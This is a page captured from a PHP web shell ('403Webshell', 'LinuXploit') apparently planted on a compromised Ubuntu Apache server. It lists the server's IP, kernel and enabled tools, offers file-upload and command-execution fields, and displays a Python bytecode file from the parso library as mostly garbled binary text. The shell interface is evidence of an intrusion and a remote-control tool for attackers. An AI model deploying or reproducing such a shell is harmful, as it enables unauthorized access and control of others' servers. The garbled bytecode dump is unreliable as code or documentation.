403Webshell
Server IP : 35.80.110.71  /  Your IP : 216.73.216.221
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ip-172-31-21-44 6.17.0-1019-aws #19~24.04.1-Ubuntu SMP Tue Jun 23 18:53:06 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/parso/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/parso/__pycache__/parser.cpython-312.pyc
�

̑�a���dZddlmZmZddlmZddlmZGd�de�Z	Gd�de�Z
Gd	�d
e�ZGd�d�Z
d
�ZGd�d�Zy)a�
The ``Parser`` tries to convert the available Python code in an easy to read
format, something like an abstract syntax tree. The classes who represent this
tree, are sitting in the :mod:`parso.tree` module.

The Python module ``tokenize`` is a very important part in the ``Parser``,
because it splits the code into different words (tokens).  Sometimes it looks a
bit messy. Sorry for that! You might ask now: "Why didn't you use the ``ast``
module for this? Well, ``ast`` does a very good job understanding proper Python
code, but fails to work as soon as there's a single line of broken code.

There's one important optimization that needs to be known: Statements are not
being parsed completely. ``Statement`` is just a representation of the tokens
within the statement. This lowers memory usage and cpu time and reduces the
complexity of the ``Parser`` (there's another parser sitting inside
``Statement``, which produces ``Array`` and ``Call``).
�)�Dict�Type)�tree)�ReservedStringc��eZdZdZd�Zy)�ParserSyntaxErrorz_
    Contains error information about the parser tree.

    May be raised as an exception.
    c� �||_||_y�N)�message�
error_leaf)�selfrrs   �./usr/lib/python3/dist-packages/parso/parser.py�__init__zParserSyntaxError.__init__&s�����$���N��__name__�
__module__�__qualname__�__doc__r�rrrr s���
%rrc��eZdZdZd�Zy)�InternalParseErrorz�
    Exception to signal the parser is stuck and error recovery didn't help.
    Basically this shouldn't happen. It's a sign that something is really
    wrong.
    c
��tj||�d|j�d|�d|���||_t|_||_||_y)Nz: type=z, value=z, start_pos=)�	Exceptionr�name�msg�type�value�	start_pos)r
r�type_rrs     rrzInternalParseError.__init__2sA�����4�����U�I�"?�	@������	���
�"��rNrrrrrr+s���#rrc��eZdZd�Zy)�Stackc�.���fd�}t|��S)Nc3���K�t��D]X}|jjD]%}t|t�r|j
���"|���'|jjr�Xyy�wr
)�reversed�dfa�transitions�
isinstancerr�is_final)�
stack_node�
transitionr
s  �r�iteratez@Stack._allowed_transition_names_and_token_types.<locals>.iterate=sa�����&�t�n�
�
�",�.�.�"<�"<�)�J�!�*�n�=�(�.�.�.�(�(�	)�"�~�~�.�.��
�s�A#A+�'A+)�list)r
r,s` r�)_allowed_transition_names_and_token_typesz/Stack._allowed_transition_names_and_token_types<s���
	��G�I��rN)rrrr.rrrr"r";s��
rr"c�(�eZdZd�Zed��Zd�Zy)�	StackNodec� �||_g|_yr
)r&�nodes)r
r&s  rrzStackNode.__init__Ms�������
rc�.�|jjSr
)r&�	from_rule�r
s r�nonterminalzStackNode.nonterminalQs���x�x�!�!�!rc�h�|jj�d|j�d|j�d�S)N�(z, �))�	__class__rr&r2r5s r�__repr__zStackNode.__repr__Us!��#�~�~�6�6����$�*�*�M�MrN)rrrr�propertyr6r;rrrr0r0Ls!����"��"�Nrr0c�r�|jjr	|j|S|S#t$rY|SwxYwr
)r�contains_syntax�reserved_syntax_strings�KeyError)�grammarr rs   r�_token_to_transitionrBYsE���{�{�"�"�	��2�2�5�9�9��L���	���L�	�s�)�	6�6c���eZdZUdZiZeeeejfe
d<ejZiZ
eeeejfe
d<ejZdd�Zd�Zd�Zd�Zd�Zd	�Zd
�Zy)
�
BaseParseraIParser engine.

    A Parser instance contains state pertaining to the current token
    sequence, and should not be used concurrently by different threads
    to parse separate token sequences.

    See python/tokenize.py for how to get input tokens by a string.

    When a syntax error occurs, error_recovery() is called.
    �node_map�leaf_mapc�.�||_||_||_yr
)�
_pgen_grammar�_start_nonterminal�_error_recovery)r
�pgen_grammar�start_nonterminal�error_recoverys    rrzBaseParser.__init__ws��)���"3���-��rc��|jj|jd}tt	|�g�|_|D]}|j
|��	|j
d}|jjs,tdj|j|j��t|j
�dkDr|j�n&|j|j |j"�S��)Nr���zincomplete input�)rH�nonterminal_to_dfasrIr"r0�stack�
_add_tokenr&r)rr�stringr�len�_pop�convert_noder6r2)r
�tokens�	first_dfa�token�toss     r�parsezBaseParser.parse|s����&�&�:�:�4�;R�;R�S�TU�V�	��I�i�0�1�2��
��	#�E��O�O�E�"�	#���*�*�R�.�C��7�7�#�#�)�&��
�
�E�L�L�%�/�/����4�:�:���"��	�	���(�(����#�)�)�D�D�rc��|jrtd��|\}}}}tj||||�}t	d|��)Nz!Error Recovery is not implementedzSyntaxError: invalid syntax)rJ�NotImplementedErrorr�	ErrorLeafr)r
rZr rr�prefixrs       rrMzBaseParser.error_recovery�sG�����%�&I�J�J�.3�+�E�5�)�V�����u�i��H�J�#�$A�:�N�Nrc�v�	|j||�}|S#t$r|j||�}Y|SwxYwr
)rEr@�default_node)r
r6�children�nodes    rrWzBaseParser.convert_node�sK��	<�-�4�=�=��-�h�7�D�����	<��$�$�[�(�;�D���	<�s��8�8c�v�	|j||||�S#t$r|j|||�cYSwxYwr
)rFr@�default_leaf)r
r rr`rs     r�convert_leafzBaseParser.convert_leaf�sE��	?�'�4�=�=��'��y�&�A�A���	?��$�$�U�I�v�>�>�	?�s��8�8c�B�|j}|j}|\}}}}t|||�}		|djj|}		|	j|d_|	jD]}
|jt|
���|j||||�}|dj j|�y#t
$r@|djjr|j�n|j|�YyYnt$rtd|||��wxYw��)z�
        This is the only core function for parsing. Here happens basically
        everything. Everything is well prepared by the parser generator and we
        only apply the necessary steps here.
        rONztoo much input)rHrRrBr&r'r@r)rVrM�
IndexErrorr�next_dfa�
dfa_pushes�appendr0rgr2)r
rZrArRr rrr`r+�plan�push�leafs            rrSzBaseParser._add_token�s���$�$���
�
��*/�'��u�i��)�'�5�%�@�
��

T��R�y�}�}�0�0��<����
�
��b�	�
��O�O�	*�D��L�L��4��)�	*�� � ���v�y�A��
�b�	�����t�$���
���9�=�=�)�)��I�I�K��'�'��.�� ��
T�(�)9�5�%��S�S�
T��s�B>�>AD�Dc�8�|jj�}t|j�dk(r|jd}n0|j	|j
j|j�}|jdjj|�y)NrPrrO)rR�poprUr2rWr&r4rl)r
r[�new_nodes   rrVzBaseParser._pop�sm���j�j�n�n���
�s�y�y�>�Q���y�y��|�H��(�(����):�):�C�I�I�F�H��
�
�2����#�#�H�-rN)�
file_inputF)rrrrrEr�strrr�BaseNode�__annotations__�NoderbrF�Leafrfrr\rMrWrgrSrVrrrrDrDesz��	�02�H�d�3��T�]�]�+�+�,�1��9�9�L�+-�H�d�3��T�Y�Y��'�(�-��9�9�L�.�
E�,O��?�%�@.rrDN)r�typingrr�parsor�parso.pgen2.generatorrrrrr-r"r0rBrDrrr�<module>r|sV���"��0�%�	�%�
#��
#� �D��"
N�
N�	�m.�m.r

Youez - 2016 - github.com/yon3zu
LinuXploit